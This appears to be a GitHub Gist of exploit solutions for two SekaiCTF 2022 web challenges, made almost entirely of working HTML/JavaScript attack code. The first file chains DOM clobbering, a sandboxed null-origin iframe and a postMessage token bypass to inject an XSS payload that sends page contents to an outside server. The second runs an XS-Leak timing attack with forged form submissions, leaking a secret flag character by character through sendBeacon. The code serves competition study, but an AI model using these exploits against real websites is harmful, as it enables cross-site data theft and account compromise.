Last active
February 6, 2023 15:10
-
-
Save terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e to your computer and use it in GitHub Desktop.
SekaiCTF 2022 solutions
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<body> | |
<script> | |
// clobber document.getElementById and make window.calc.contentWindow undefined | |
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'); | |
function start(){ | |
var ifr = document.createElement('iframe'); | |
// create sandboxed domain, open challenge page and force its origin to be null | |
// null origin makes window.token undefined because of the error when accessing document.cookie | |
// seems to be based on https://github.com/terjanq/same-origin-xss | |
ifr.sandbox = 'allow-scripts allow-popups'; | |
ifr.srcdoc = `<script>(${hack})()<\/script>` | |
document.body.appendChild(ifr); | |
function hack(){ | |
var win = open('https://obligatory-calc.ctf.sekai.team'); | |
setTimeout(()=>{ | |
parent.postMessage('remove', '*'); | |
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because | |
// token=null equals to undefined and e.source will be null so null == undefined | |
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*'); | |
},1000); | |
} | |
// this removes the iframe so e.source becomes null in postMessage event. | |
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; } | |
} | |
setTimeout(start, 1000); | |
</script> | |
</body> | |
</html> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<script> | |
const SITE_URL = 'https://safelist.ctf.sekai.team/'; | |
const PING_URL = 'https://myserver'; | |
function timeScript(){ | |
return new Promise(resolve => { | |
var x = document.createElement('script'); | |
x.src = 'https://safelist.ctf.sekai.team/js/purify.js?' + Math.random(); | |
var start = Date.now(); | |
x.onerror = () => { | |
console.log(`Time: ${Date.now() - start}`); | |
resolve(Date.now() - start); | |
x.remove(); | |
} | |
document.body.appendChild(x); | |
}); | |
} | |
add_note = async (note) => { | |
let x = document.createElement('form') | |
x.action = SITE_URL + "create" | |
x.method = "POST" | |
x.target = "xxx" | |
let i = document.createElement("input"); | |
i.type = "text" | |
i.name = "text" | |
i.value = note | |
x.appendChild(i) | |
document.body.appendChild(x) | |
x.submit() | |
} | |
remove_note = async (note_id) => { | |
let x = document.createElement('form') | |
x.action = SITE_URL+"remove" | |
x.method = "POST" | |
x.target = "_blank" | |
let i = document.createElement("input"); | |
i.type = "text" | |
i.name = "index" | |
i.value = note_id | |
x.appendChild(i) | |
document.body.appendChild(x) | |
x.submit() | |
} | |
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms)); | |
// }zyxwvutsrqponmlkjihgfedcba_ | |
const alphabet = 'zyxwvutsrqponmlkjihgfedcba_' | |
var prefix = 'SEKAI{xsleakyay'; | |
const TIMEOUT = 500; | |
async function checkLetter(letter){ | |
// Chrome puts a limit of 6 concurrent request to the same origin. We are creating a lot of images pointing to purify.js | |
// Depending whether we found flag's letter it will either load the images or not. | |
// With timing, we can detect whether Chrome is processing purify.js or not from our site and hence leak the flag char by char. | |
const payload = `${prefix}${letter}` + Array.from(Array(78)).map((e,i)=>`<img/src=/js/purify.js?${i}>`).join(''); | |
await add_note(payload); | |
await sleep(TIMEOUT); | |
await timeScript(); | |
await remove_note(1); | |
await sleep(TIMEOUT); | |
const time = await timeScript(); | |
navigator.sendBeacon(PING_URL, [letter,time]); | |
if(time>100){ | |
return 1; | |
} | |
return 0; | |
} | |
window.onload = async () => { | |
navigator.sendBeacon(PING_URL, 'start'); | |
// doesnt work because we are removing flag after success. | |
// while(1){ | |
for(const letter of alphabet){ | |
if(await checkLetter(letter)){ | |
prefix += letter; | |
navigator.sendBeacon(PING_URL, prefix); | |
break; | |
} | |
} | |
// } | |
}; | |
</script> | |
</head> | |
<body> | |
</body> | |
</html> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment